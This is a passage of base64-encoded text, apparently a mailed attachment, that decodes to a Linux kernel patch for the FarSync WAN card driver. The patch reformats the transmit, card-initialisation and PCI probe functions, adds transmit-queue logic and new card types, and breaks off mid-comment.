bGVuZ3RoOworCisJcG9ydCA9IGRldl90b19wb3J0KGRldik7CisJY2FyZCA9IHBvcnQtPmNhcmQ7 CisJZGJnKERCR19UWCwgImZzdF9zdGFydF94bWl0OiBsZW5ndGggPSAlZFxuIiwgc2tiLT5sZW4p OworCisJLyogRHJvcCBwYWNrZXQgd2l0aCBlcnJvciBpZiB3ZSBkb24ndCBoYXZlIGNhcnJpZXIg Ki8KKwlpZiAoIW5ldGlmX2NhcnJpZXJfb2soZGV2KSkgeworCQlkZXZfa2ZyZWVfc2tiKHNrYik7 CisJCXBvcnQtPmhkbGMuc3RhdHMudHhfZXJyb3JzKys7CisJCXBvcnQtPmhkbGMuc3RhdHMudHhf Y2Fycmllcl9lcnJvcnMrKzsKKwkJZGJnKERCR19BU1MsCisJCSAgICAiVHJpZWQgdG8gdHJhbnNt aXQgYnV0IG5vIGNhcnJpZXIgb24gY2FyZCAlZCBwb3J0ICVkXG4iLAorCQkgICAgY2FyZC0+Y2Fy ZF9ubywgcG9ydC0+aW5kZXgpOworCQlyZXR1cm4gMDsKKwl9CiAKLSAgICAgICAgcG9ydC0+aGRs Yy5zdGF0cy50eF9wYWNrZXRzKys7Ci0gICAgICAgIHBvcnQtPmhkbGMuc3RhdHMudHhfYnl0ZXMg Kz0gc2tiLT5sZW47CisJLyogRHJvcCBpdCBpZiBpdCdzIHRvbyBiaWchIE1UVSBmYWlsdXJlID8g Ki8KKwlpZiAoc2tiLT5sZW4gPiBMRU5fVFhfQlVGRkVSKSB7CisJCWRiZyhEQkdfQVNTLCAiUGFj a2V0IHRvbyBsYXJnZSAlZCB2cyAlZFxuIiwgc2tiLT5sZW4sCisJCSAgICBMRU5fVFhfQlVGRkVS KTsKKwkJZGV2X2tmcmVlX3NrYihza2IpOworCQlwb3J0LT5oZGxjLnN0YXRzLnR4X2Vycm9ycysr OworCQlyZXR1cm4gMDsKKwl9CiAKLSAgICAgICAgZGV2X2tmcmVlX3NrYiAoIHNrYiApOworCS8q CisJICogV2UgYXJlIGFsd2F5cyBnb2luZyB0byBxdWV1ZSB0aGUgcGFja2V0CisJICogc28gdGhh dCB0aGUgYm90dG9tIGhhbGYgaXMgdGhlIG9ubHkgcGxhY2Ugd2UgdHggZnJvbQorCSAqIENoZWNr IHRoZXJlIGlzIHJvb20gaW4gdGhlIHBvcnQgdHhxCisJICovCisJc3Bpbl9sb2NrX2lycXNhdmUo JmNhcmQtPmNhcmRfbG9jaywgZmxhZ3MpOworCWlmICgodHhxX2xlbmd0aCA9IHBvcnQtPnR4cWUg LSBwb3J0LT50eHFzKSA8IDApIHsKKwkJLyoKKwkJICogVGhpcyBpcyB0aGUgY2FzZSB3aGVyZSB0 aGUgbmV4dCBmcmVlIGhhcyB3cmFwcGVkIGJ1dCB0aGUKKwkJICogbGFzdCB1c2VkIGhhc24ndAor CQkgKi8KKwkJdHhxX2xlbmd0aCA9IHR4cV9sZW5ndGggKyBGU1RfVFhRX0RFUFRIOworCX0KKwlz cGluX3VubG9ja19pcnFyZXN0b3JlKCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKwlpZiAodHhx X2xlbmd0aCA+IGZzdF90eHFfaGlnaCkgeworCQkvKgorCQkgKiBXZSBoYXZlIGdvdCBlbm91Z2gg YnVmZmVycyBpbiB0aGUgcGlwZWxpbmUuICBBc2sgdGhlIG5ldHdvcmsKKwkJICogbGF5ZXIgdG8g c3RvcCBzZW5kaW5nIGZyYW1lcyBkb3duCisJCSAqLworCQluZXRpZl9zdG9wX3F1ZXVlKGRldik7 CisJCXBvcnQtPnN0YXJ0ID0gMTsJLyogSSdtIHVzaW5nIHRoaXMgdG8gc2lnbmFsIHN0b3Agc2Vu dCB1cCAqLworCX0KIAotICAgICAgICBkZXYtPnRyYW5zX3N0YXJ0ID0gamlmZmllczsKLSAgICAg ICAgcmV0dXJuIDA7Ci19CisJaWYgKHR4cV9sZW5ndGggPT0gRlNUX1RYUV9ERVBUSCAtIDEpIHsK KwkJLyoKKwkJICogVGhpcyBzaG91bGRuJ3QgaGF2ZSBoYXBwZW5lZCBidXQgc3VjaCBpcyBsaWZl CisJCSAqLworCQlkZXZfa2ZyZWVfc2tiKHNrYik7CisJCXBvcnQtPmhkbGMuc3RhdHMudHhfZXJy b3JzKys7CisJCWRiZyhEQkdfQVNTLCAiVHggcXVldWUgb3ZlcmZsb3cgY2FyZCAlZCBwb3J0ICVk XG4iLAorCQkgICAgY2FyZC0+Y2FyZF9ubywgcG9ydC0+aW5kZXgpOworCQlyZXR1cm4gMDsKKwl9 CiAKKwkvKgorCSAqIHF1ZXVlIHRoZSBidWZmZXIKKwkgKi8KKwlzcGluX2xvY2tfaXJxc2F2ZSgm Y2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJcG9ydC0+dHhxW3BvcnQtPnR4cWVdID0gc2tiOwor CXBvcnQtPnR4cWUrKzsKKwlpZiAocG9ydC0+dHhxZSA9PSBGU1RfVFhRX0RFUFRIKQorCQlwb3J0 LT50eHFlID0gMDsKKwlzcGluX3VubG9ja19pcnFyZXN0b3JlKCZjYXJkLT5jYXJkX2xvY2ssIGZs YWdzKTsKKworCS8qIFNjZWhkdWxlIHRoZSBib3R0b20gaGFsZiB3aGljaCBub3cgZG9lcyB0cmFu c21pdCBwcm9jZXNzaW5nICovCisJZnN0X3Ffd29ya19pdGVtKCZmc3Rfd29ya190eHEsIGNhcmQt PmNhcmRfbm8pOworCXRhc2tsZXRfc2NoZWR1bGUoJmZzdF90eF90YXNrKTsKKworCXJldHVybiAw OworfQogCiAvKgogICogICAgICBDYXJkIHNldHVwIGhhdmluZyBjaGVja2VkIGhhcmR3YXJlIHJl c291cmNlcy4KQEAgLTE0NDEsMjU2ICsyMzgyLDMwMiBAQAogICogICAgICBkaXNhYmxlZC4KICAq Lwogc3RhdGljIGNoYXIgKnR5cGVfc3RyaW5nc1tdIF9fZGV2aW5pdGRhdGEgPSB7Ci0gICAgICAg ICJubyBoYXJkd2FyZSIsICAgICAgICAgICAgICAgICAgLyogU2hvdWxkIG5ldmVyIGJlIHNlZW4g Ki8KLSAgICAgICAgIkZhclN5bmMgVDJQIiwKLSAgICAgICAgIkZhclN5bmMgVDRQIgorCSJubyBo YXJkd2FyZSIsCQkvKiBTaG91bGQgbmV2ZXIgYmUgc2VlbiAqLworCSJGYXJTeW5jIFQyUCIsCisJ IkZhclN5bmMgVDRQIiwKKwkiRmFyU3luYyBUMVUiLAorCSJGYXJTeW5jIFQyVSIsCisJIkZhclN5 bmMgVDRVIiwKKwkiRmFyU3luYyBURTEiCiB9OwogCiBzdGF0aWMgdm9pZCBfX2RldmluaXQKLWZz dF9pbml0X2NhcmQgKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCApCitmc3RfaW5pdF9jYXJk KHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkKQogewotICAgICAgICBpbnQgaTsKLSAgICAgICAg aW50IGVycjsKLSAgICAgICAgc3RydWN0IG5ldF9kZXZpY2UgKmRldjsKLQotICAgICAgICAvKiBX ZSdyZSB3b3JraW5nIG9uIGEgbnVtYmVyIG9mIHBvcnRzIGJhc2VkIG9uIHRoZSBjYXJkIElELiBJ ZiB0aGUKLSAgICAgICAgICogZmlybXdhcmUgZGV0ZWN0cyBzb21ldGhpbmcgZGlmZmVyZW50IGxh dGVyIChzaG91bGQgbmV2ZXIgaGFwcGVuKQotICAgICAgICAgKiB3ZSdsbCBoYXZlIHRvIHJldmlz ZSBpdCBpbiBzb21lIHdheSB0aGVuLgotICAgICAgICAgKi8KLSAgICAgICAgZm9yICggaSA9IDAg OyBpIDwgY2FyZC0+bnBvcnRzIDsgaSsrICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGNh cmQtPnBvcnRzW2ldLmNhcmQgICA9IGNhcmQ7Ci0gICAgICAgICAgICAgICAgY2FyZC0+cG9ydHNb aV0uaW5kZXggID0gaTsKLSAgICAgICAgICAgICAgICBjYXJkLT5wb3J0c1tpXS5ydW4gICAgPSAw OwotCi0gICAgICAgICAgICAgICAgZGV2ID0gaGRsY190b19kZXYgKCAmY2FyZC0+cG9ydHNbaV0u aGRsYyApOwotCi0gICAgICAgICAgICAgICAgLyogRmlsbCBpbiB0aGUgbmV0IGRldmljZSBpbmZv ICovCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIFNpbmNlIHRoaXMgaXMgYSBQ Q0kgc2V0dXAgdGhpcyBpcyBwdXJlbHkKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICogaW5mb3JtYXRpb25hbC4gR2l2ZSB0aGVtIHRoZSBidWZmZXIgYWRkcmVzc2VzCi0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAqIGFuZCBiYXNpYyBjYXJkIEkvTy4KLSAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgZGV2LT5tZW1fc3Rh cnQgICA9IGNhcmQtPnBoeXNfbWVtCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAr IEJVRl9PRkZTRVQgKCB0eEJ1ZmZlcltpXVswXVswXSk7Ci0gICAgICAgICAgICAgICAgZGV2LT5t ZW1fZW5kICAgICA9IGNhcmQtPnBoeXNfbWVtCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICArIEJVRl9PRkZTRVQgKCB0eEJ1ZmZlcltpXVtOVU1fVFhfQlVGRkVSXVswXSk7Ci0gICAg ICAgICAgICAgICAgZGV2LT5ybWVtX3N0YXJ0ICA9IGNhcmQtPnBoeXNfbWVtCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICArIEJVRl9PRkZTRVQgKCByeEJ1ZmZlcltpXVswXVswXSk7 Ci0gICAgICAgICAgICAgICAgZGV2LT5ybWVtX2VuZCAgICA9IGNhcmQtPnBoeXNfbWVtCi0gICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICArIEJVRl9PRkZTRVQgKCByeEJ1ZmZlcltpXVtO VU1fUlhfQlVGRkVSXVswXSk7Ci0gICAgICAgICAgICAgICAgZGV2LT5iYXNlX2FkZHIgICA9IGNh cmQtPnBjaV9jb25mOwotICAgICAgICAgICAgICAgIGRldi0+aXJxICAgICAgICAgPSBjYXJkLT5p cnE7Ci0KLSAgICAgICAgICAgICAgICBkZXYtPnR4X3F1ZXVlX2xlbiAgICAgICAgICA9IEZTVF9U WF9RVUVVRV9MRU47Ci0gICAgICAgICAgICAgICAgZGV2LT5vcGVuICAgICAgICAgICAgICAgICAg PSBmc3Rfb3BlbjsKLSAgICAgICAgICAgICAgICBkZXYtPnN0b3AgICAgICAgICAgICAgICAgICA9 IGZzdF9jbG9zZTsKLSAgICAgICAgICAgICAgICBkZXYtPmRvX2lvY3RsICAgICAgICAgICAgICA9 IGZzdF9pb2N0bDsKLSAgICAgICAgICAgICAgICBkZXYtPndhdGNoZG9nX3RpbWVvICAgICAgICA9 IEZTVF9UWF9USU1FT1VUOwotICAgICAgICAgICAgICAgIGRldi0+dHhfdGltZW91dCAgICAgICAg ICAgID0gZnN0X3R4X3RpbWVvdXQ7Ci0gICAgICAgICAgICAgICAgY2FyZC0+cG9ydHNbaV0uaGRs Yy5hdHRhY2ggPSBmc3RfYXR0YWNoOwotICAgICAgICAgICAgICAgIGNhcmQtPnBvcnRzW2ldLmhk bGMueG1pdCAgID0gZnN0X3N0YXJ0X3htaXQ7Ci0KLSAgICAgICAgICAgICAgICBpZiAoKCBlcnIg PSByZWdpc3Rlcl9oZGxjX2RldmljZSAoICZjYXJkLT5wb3J0c1tpXS5oZGxjICkpIDwgMCApCi0g ICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIkNh bm5vdCByZWdpc3RlciBIRExDIGRldmljZSBmb3IgcG9ydCAlZCIKLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICIgKGVycm5vICVkKVxuIiwgaSwgLWVyciApOwotICAgICAgICAg ICAgICAgICAgICAgICAgY2FyZC0+bnBvcnRzID0gaTsKLSAgICAgICAgICAgICAgICAgICAgICAg IGJyZWFrOwotICAgICAgICAgICAgICAgIH0KLSAgICAgICAgfQotCi0gICAgICAgIHNwaW5fbG9j a19pbml0ICggJmNhcmQtPmNhcmRfbG9jayApOwotCi0gICAgICAgIHByaW50ayAoIEtFUk5fSU5G TyAiJXMtJXM6ICVzIElSUSVkLCAlZCBwb3J0c1xuIiwKLSAgICAgICAgICAgICAgICAgICAgICAg IGhkbGNfdG9fZGV2KCZjYXJkLT5wb3J0c1swXS5oZGxjKS0+bmFtZSwKLSAgICAgICAgICAgICAg ICAgICAgICAgIGhkbGNfdG9fZGV2KCZjYXJkLT5wb3J0c1tjYXJkLT5ucG9ydHMtMV0uaGRsYykt Pm5hbWUsCi0gICAgICAgICAgICAgICAgICAgICAgICB0eXBlX3N0cmluZ3NbY2FyZC0+dHlwZV0s IGNhcmQtPmlycSwgY2FyZC0+bnBvcnRzICk7Ci19CisJaW50IGk7CisJaW50IGVycjsKKwlzdHJ1 Y3QgbmV0X2RldmljZSAqZGV2OworCisJLyogV2UncmUgd29ya2luZyBvbiBhIG51bWJlciBvZiBw b3J0cyBiYXNlZCBvbiB0aGUgY2FyZCBJRC4gSWYgdGhlCisJICogZmlybXdhcmUgZGV0ZWN0cyBz b21ldGhpbmcgZGlmZmVyZW50IGxhdGVyIChzaG91bGQgbmV2ZXIgaGFwcGVuKQorCSAqIHdlJ2xs IGhhdmUgdG8gcmV2aXNlIGl0IGluIHNvbWUgd2F5IHRoZW4uCisJICovCisJZm9yIChpID0gMDsg aSA8IGNhcmQtPm5wb3J0czsgaSsrKSB7CisJCWNhcmQtPnBvcnRzW2ldLmNhcmQgPSBjYXJkOwor CQljYXJkLT5wb3J0c1tpXS5pbmRleCA9IGk7CisJCWNhcmQtPnBvcnRzW2ldLnJ1biA9IDA7CisJ CWNhcmQtPnBvcnRzW2ldLm1vZGUgPSBGU1RfR0VOX0hETEM7CisKKwkJZGV2ID0gaGRsY190b19k ZXYoJmNhcmQtPnBvcnRzW2ldLmhkbGMpOworCisJCS8qIEZpbGwgaW4gdGhlIG5ldCBkZXZpY2Ug aW5mbyAKKwkJICogU2luY2UgdGhpcyBpcyBhIFBDSSBzZXR1cCB0aGlzIGlzIHB1cmVseQorCQkg KiBpbmZvcm1hdGlvbmFsLiBHaXZlIHRoZW0gdGhlIGJ1ZmZlciBhZGRyZXNzZXMKKwkJICogYW5k IGJhc2ljIGNhcmQgSS9PLgorCQkgKi8KKwkJZGV2LT5tZW1fc3RhcnQgPSBjYXJkLT5waHlzX21l bSArIEJVRl9PRkZTRVQodHhCdWZmZXJbaV1bMF1bMF0pOworCQlkZXYtPm1lbV9lbmQgPSBjYXJk LT5waHlzX21lbQorCQkgICAgKyBCVUZfT0ZGU0VUKHR4QnVmZmVyW2ldW05VTV9UWF9CVUZGRVJd WzBdKTsKKwkJZGV2LT5iYXNlX2FkZHIgPSBjYXJkLT5wY2lfY29uZjsKKwkJZGV2LT5pcnEgPSBj YXJkLT5pcnE7CisKKwkJZGV2LT50eF9xdWV1ZV9sZW4gPSBGU1RfVFhfUVVFVUVfTEVOOworCQlk ZXYtPm9wZW4gPSBmc3Rfb3BlbjsKKwkJZGV2LT5zdG9wID0gZnN0X2Nsb3NlOworCQlkZXYtPmRv X2lvY3RsID0gZnN0X2lvY3RsOworCQlkZXYtPndhdGNoZG9nX3RpbWVvID0gRlNUX1RYX1RJTUVP VVQ7CisJCWRldi0+dHhfdGltZW91dCA9IGZzdF90eF90aW1lb3V0OworCQljYXJkLT5wb3J0c1tp XS5oZGxjLmF0dGFjaCA9IGZzdF9hdHRhY2g7CisJCWNhcmQtPnBvcnRzW2ldLmhkbGMueG1pdCA9 IGZzdF9zdGFydF94bWl0OworCisJCWlmICgoZXJyID0gcmVnaXN0ZXJfaGRsY19kZXZpY2UoJmNh cmQtPnBvcnRzW2ldLmhkbGMpKSA8IDApIHsKKwkJCXByaW50a19lcnIoIkNhbm5vdCByZWdpc3Rl ciBIRExDIGRldmljZSBmb3IgcG9ydCAlZCIKKwkJCQkgICAiIChlcnJubyAlZClcbiIsIGksIC1l cnIpOworCQkJY2FyZC0+bnBvcnRzID0gaTsKKwkJCWJyZWFrOworCQl9CisJfQogCisJc3Bpbl9s b2NrX2luaXQoJmNhcmQtPmNhcmRfbG9jayk7CisKKwlwcmludGtfaW5mbygiJXMtJXM6ICVzIElS USVkLCAlZCBwb3J0c1xuIiwKKwkgICAgICAgaGRsY190b19kZXYoJmNhcmQtPnBvcnRzWzBdLmhk bGMpLT5uYW1lLAorCSAgICAgICBoZGxjX3RvX2RldigmY2FyZC0+cG9ydHNbY2FyZC0+bnBvcnRz IC0gMV0uaGRsYyktPm5hbWUsCisJICAgICAgIHR5cGVfc3RyaW5nc1tjYXJkLT50eXBlXSwgY2Fy ZC0+aXJxLCBjYXJkLT5ucG9ydHMpOworfQogCiAvKgogICogICAgICBJbml0aWFsaXNlIGNhcmQg d2hlbiBkZXRlY3RlZC4KICAqICAgICAgUmV0dXJucyAwIHRvIGluZGljYXRlIHN1Y2Nlc3MsIG9y IGVycm5vIG90aGVyd2lzZS4KICAqLwogc3RhdGljIGludCBfX2RldmluaXQKLWZzdF9hZGRfb25l ICggc3RydWN0IHBjaV9kZXYgKnBkZXYsIGNvbnN0IHN0cnVjdCBwY2lfZGV2aWNlX2lkICplbnQg KQorZnN0X2FkZF9vbmUoc3RydWN0IHBjaV9kZXYgKnBkZXYsIGNvbnN0IHN0cnVjdCBwY2lfZGV2 aWNlX2lkICplbnQpCiB7Ci0gICAgICAgIHN0YXRpYyBpbnQgZmlyc3R0aW1lX2RvbmUgPSAwOwot ICAgICAgICBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZDsKLSAgICAgICAgaW50IGVyciA9IDA7 Ci0KLSAgICAgICAgaWYgKCAhIGZpcnN0dGltZV9kb25lICkKLSAgICAgICAgewotICAgICAgICAg ICAgICAgIHByaW50ayAoIEtFUk5fSU5GTyAiRmFyU3luYyBYMjEgZHJpdmVyICIgRlNUX1VTRVJf VkVSU0lPTgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiIChjKSAyMDAxIEZhclNp dGUgQ29tbXVuaWNhdGlvbnMgTHRkLlxuIik7Ci0gICAgICAgICAgICAgICAgZmlyc3R0aW1lX2Rv bmUgPSAxOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogQWxsb2NhdGUgZHJpdmVyIHByaXZhdGUg ZGF0YSAqLwotICAgICAgICBjYXJkID0ga21hbGxvYyAoIHNpemVvZiAoIHN0cnVjdCBmc3RfY2Fy ZF9pbmZvICksICBHRlBfS0VSTkVMKTsKLSAgICAgICAgaWYgKGNhcmQgPT0gTlVMTCkKLSAgICAg ICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJGYXJTeW5jIGNhcmQgZm91bmQgYnV0 IGluc3VmZmljaWVudCBtZW1vcnkgZm9yIgotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAiIGRyaXZlciBzdG9yYWdlXG4iKTsKLSAgICAgICAgICAgICAgICByZXR1cm4gLUVOT01FTTsK LSAgICAgICAgfQotICAgICAgICBtZW1zZXQgKCBjYXJkLCAwLCBzaXplb2YgKCBzdHJ1Y3QgZnN0 X2NhcmRfaW5mbyApKTsKLQotICAgICAgICAvKiBSZWNvcmQgaW5mbyB3ZSBuZWVkKi8KLSAgICAg ICAgY2FyZC0+aXJxICAgICAgICAgPSBwZGV2LT5pcnE7Ci0gICAgICAgIGNhcmQtPnBjaV9jb25m ICAgID0gcGNpX3Jlc291cmNlX3N0YXJ0ICggcGRldiwgMSApOwotICAgICAgICBjYXJkLT5waHlz X21lbSAgICA9IHBjaV9yZXNvdXJjZV9zdGFydCAoIHBkZXYsIDIgKTsKLSAgICAgICAgY2FyZC0+ cGh5c19jdGxtZW0gPSBwY2lfcmVzb3VyY2Vfc3RhcnQgKCBwZGV2LCAzICk7Ci0KLSAgICAgICAg Y2FyZC0+dHlwZSAgICAgICAgPSBlbnQtPmRyaXZlcl9kYXRhOwotICAgICAgICBjYXJkLT5ucG9y dHMgICAgICA9ICggZW50LT5kcml2ZXJfZGF0YSA9PSBGU1RfVFlQRV9UMlAgKSA/IDIgOiA0Owot Ci0gICAgICAgIGNhcmQtPnN0YXRlICAgICAgID0gRlNUX1VOSU5JVDsKLQotICAgICAgICBkYmcg KCBEQkdfUENJLCJ0eXBlICVkIG5wb3J0cyAlZCBpcnEgJWRcbiIsIGNhcmQtPnR5cGUsCi0gICAg ICAgICAgICAgICAgICAgICAgICBjYXJkLT5ucG9ydHMsIGNhcmQtPmlycSApOwotICAgICAgICBk YmcgKCBEQkdfUENJLCJjb25mICUwNHggbWVtICUwOHggY3RsbWVtICUwOHhcbiIsCi0gICAgICAg ICAgICAgICAgICAgICAgICBjYXJkLT5wY2lfY29uZiwgY2FyZC0+cGh5c19tZW0sIGNhcmQtPnBo eXNfY3RsbWVtICk7Ci0KLSAgICAgICAgLyogQ2hlY2sgd2UgY2FuIGdldCBhY2Nlc3MgdG8gdGhl IG1lbW9yeSBhbmQgSS9PIHJlZ2lvbnMgKi8KLSAgICAgICAgaWYgKCAhIHJlcXVlc3RfcmVnaW9u ICggY2FyZC0+cGNpX2NvbmYsIDB4ODAsIlBMWCBjb25maWcgcmVncyIpKQotICAgICAgICB7Ci0g ICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIlVuYWJsZSB0byBnZXQgY29uZmlnIEkvTyBAIDB4 JTA0WFxuIiwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IGNhcmQtPnBjaV9jb25mICk7Ci0gICAgICAgICAgICAgICAgZXJyID0gLUVOT0RFVjsKLSAgICAg ICAgICAgICAgICBnb3RvIGVycm9yX2ZyZWVfY2FyZDsKLSAgICAgICAgfQotICAgICAgICBpZiAo ICEgcmVxdWVzdF9tZW1fcmVnaW9uICggY2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFLCJTaGFy ZWQgUkFNIikpCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgiVW5hYmxl IHRvIGdldCBtYWluIG1lbW9yeSBAIDB4JTA4WFxuIiwKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIGNhcmQtPnBoeXNfbWVtICk7Ci0gICAgICAgICAgICAg ICAgZXJyID0gLUVOT0RFVjsKLSAgICAgICAgICAgICAgICBnb3RvIGVycm9yX3JlbGVhc2VfaW87 Ci0gICAgICAgIH0KLSAgICAgICAgaWYgKCAhIHJlcXVlc3RfbWVtX3JlZ2lvbiAoIGNhcmQtPnBo eXNfY3RsbWVtLCAweDEwLCJDb250cm9sIG1lbW9yeSIpKQotICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgcHJpbnRrX2VyciAoIlVuYWJsZSB0byBnZXQgY29udHJvbCBtZW1vcnkgQCAweCUwOFhc biIsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJk LT5waHlzX2N0bG1lbSApOwotICAgICAgICAgICAgICAgIGVyciA9IC1FTk9ERVY7Ci0gICAgICAg ICAgICAgICAgZ290byBlcnJvcl9yZWxlYXNlX21lbTsKLSAgICAgICAgfQotCi0gICAgICAgIC8q IFRyeSB0byBlbmFibGUgdGhlIGRldmljZSAqLwotICAgICAgICBpZiAoKCBlcnIgPSBwY2lfZW5h YmxlX2RldmljZSAoIHBkZXYgKSkgIT0gMCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBw cmludGtfZXJyICgiRmFpbGVkIHRvIGVuYWJsZSBjYXJkLiBFcnIgJWRcbiIsIC1lcnIgKTsKLSAg ICAgICAgICAgICAgICBnb3RvIGVycm9yX3JlbGVhc2VfY3RsbWVtOwotICAgICAgICB9Ci0KLSAg ICAgICAgLyogR2V0IHZpcnR1YWwgYWRkcmVzc2VzIG9mIG1lbW9yeSByZWdpb25zICovCi0gICAg ICAgIGlmICgoIGNhcmQtPm1lbSA9IGlvcmVtYXAgKCBjYXJkLT5waHlzX21lbSwgRlNUX01FTVNJ WkUgKSkgPT0gTlVMTCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgi UGh5c2ljYWwgbWVtb3J5IHJlbWFwIGZhaWxlZFxuIik7Ci0gICAgICAgICAgICAgICAgZXJyID0g LUVOT0RFVjsKLSAgICAgICAgICAgICAgICBnb3RvIGVycm9yX3JlbGVhc2VfY3RsbWVtOwotICAg ICAgICB9Ci0gICAgICAgIGlmICgoIGNhcmQtPmN0bG1lbSA9IGlvcmVtYXAgKCBjYXJkLT5waHlz X2N0bG1lbSwgMHgxMCApKSA9PSBOVUxMICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHBy aW50a19lcnIgKCJDb250cm9sIG1lbW9yeSByZW1hcCBmYWlsZWRcbiIpOwotICAgICAgICAgICAg ICAgIGVyciA9IC1FTk9ERVY7Ci0gICAgICAgICAgICAgICAgZ290byBlcnJvcl91bm1hcF9tZW07 Ci0gICAgICAgIH0KLSAgICAgICAgZGJnICggREJHX1BDSSwia2VybmVsIG1lbSAlcCwgY3RsbWVt ICVwXG4iLCBjYXJkLT5tZW0sIGNhcmQtPmN0bG1lbSk7Ci0KLSAgICAgICAgLyogUmVzZXQgdGhl IGNhcmQncyBwcm9jZXNzb3IgKi8KLSAgICAgICAgZnN0X2NwdXJlc2V0ICggY2FyZCApOwotICAg ICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9SRVNFVDsKLQotICAgICAgICAvKiBSZWdpc3RlciB0aGUg aW50ZXJydXB0IGhhbmRsZXIgKi8KLSAgICAgICAgaWYgKCByZXF1ZXN0X2lycSAoIGNhcmQtPmly cSwgZnN0X2ludHIsIFNBX1NISVJRLCBGU1RfREVWX05BTUUsIGNhcmQgKSkKLSAgICAgICAgewot Ci0gICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoIlVuYWJsZSB0byByZWdpc3RlciBpbnRlcnJ1 cHQgJWRcbiIsIGNhcmQtPmlycSApOwotICAgICAgICAgICAgICAgIGVyciA9IC1FTk9ERVY7Ci0g ICAgICAgICAgICAgICAgZ290byBlcnJvcl91bm1hcF9jdGxtZW07Ci0gICAgICAgIH0KLQotICAg ICAgICAvKiBSZWNvcmQgZHJpdmVyIGRhdGEgZm9yIGxhdGVyIHVzZSAqLwotICAgICAgICBwY2lf c2V0X2RydmRhdGEocGRldiwgY2FyZCk7Ci0KLSAgICAgICAgLyogUmVtYWluZGVyIG9mIGNhcmQg c2V0dXAgKi8KLSAgICAgICAgZnN0X2luaXRfY2FyZCAoIGNhcmQgKTsKLQotICAgICAgICByZXR1 cm4gMDsgICAgICAgICAgICAgICAgICAgICAgIC8qIFN1Y2Nlc3MgKi8KLQotCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogRmFpbHVyZS4gUmVsZWFzZSByZXNvdXJj ZXMgKi8KLWVycm9yX3VubWFwX2N0bG1lbToKLSAgICAgICAgaW91bm1hcCAoIGNhcmQtPmN0bG1l bSApOwotCi1lcnJvcl91bm1hcF9tZW06Ci0gICAgICAgIGlvdW5tYXAgKCBjYXJkLT5tZW0gKTsK LQotZXJyb3JfcmVsZWFzZV9jdGxtZW06Ci0gICAgICAgIHJlbGVhc2VfbWVtX3JlZ2lvbiAoIGNh cmQtPnBoeXNfY3RsbWVtLCAweDEwICk7Ci0KLWVycm9yX3JlbGVhc2VfbWVtOgotICAgICAgICBy ZWxlYXNlX21lbV9yZWdpb24gKCBjYXJkLT5waHlzX21lbSwgRlNUX01FTVNJWkUgKTsKLQotZXJy b3JfcmVsZWFzZV9pbzoKLSAgICAgICAgcmVsZWFzZV9yZWdpb24gKCBjYXJkLT5wY2lfY29uZiwg MHg4MCApOwotCi1lcnJvcl9mcmVlX2NhcmQ6Ci0gICAgICAgIGtmcmVlICggY2FyZCApOwotICAg ICAgICByZXR1cm4gZXJyOwotfQorCXN0YXRpYyBpbnQgZmlyc3R0aW1lX2RvbmUgPSAwOworCXN0 YXRpYyBpbnQgbm9fb2ZfY2FyZHNfYWRkZWQgPSAwOworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpj YXJkOworCWludCBlcnIgPSAwOworCWludCBpOworCisJaWYgKCFmaXJzdHRpbWVfZG9uZSkgewor CQlwcmludGtfaW5mbygiRmFyU3luYyBXQU4gZHJpdmVyICIgRlNUX1VTRVJfVkVSU0lPTgorCQkg ICAgICAgIiAoYykgMjAwMS0yMDA0IEZhclNpdGUgQ29tbXVuaWNhdGlvbnMgTHRkLlxuIik7CisJ CWZpcnN0dGltZV9kb25lID0gMTsKKwkJZGJnKERCR19BU1MsICJUaGUgdmFsdWUgb2YgZGVidWcg bWFzayBpcyAleFxuIiwgZnN0X2RlYnVnX21hc2spOworCX0KKworCS8qCisJICogV2UgYXJlIGdv aW5nIHRvIGJlIGNsZXZlciBhbmQgYWxsb3cgY2VydGFpbiBjYXJkcyBub3QgdG8gYmUKKwkgKiBj b25maWd1cmVkLiAgQW4gZXhjbHVkZSBsaXN0IGNhbiBiZSBwcm92aWRlZCBpbiAvZXRjL21vZHVs ZXMuY29uZgorCSAqLworCWlmIChmc3RfZXhjbHVkZWRfY2FyZHMgIT0gMCkgeworCQkvKgorCQkg 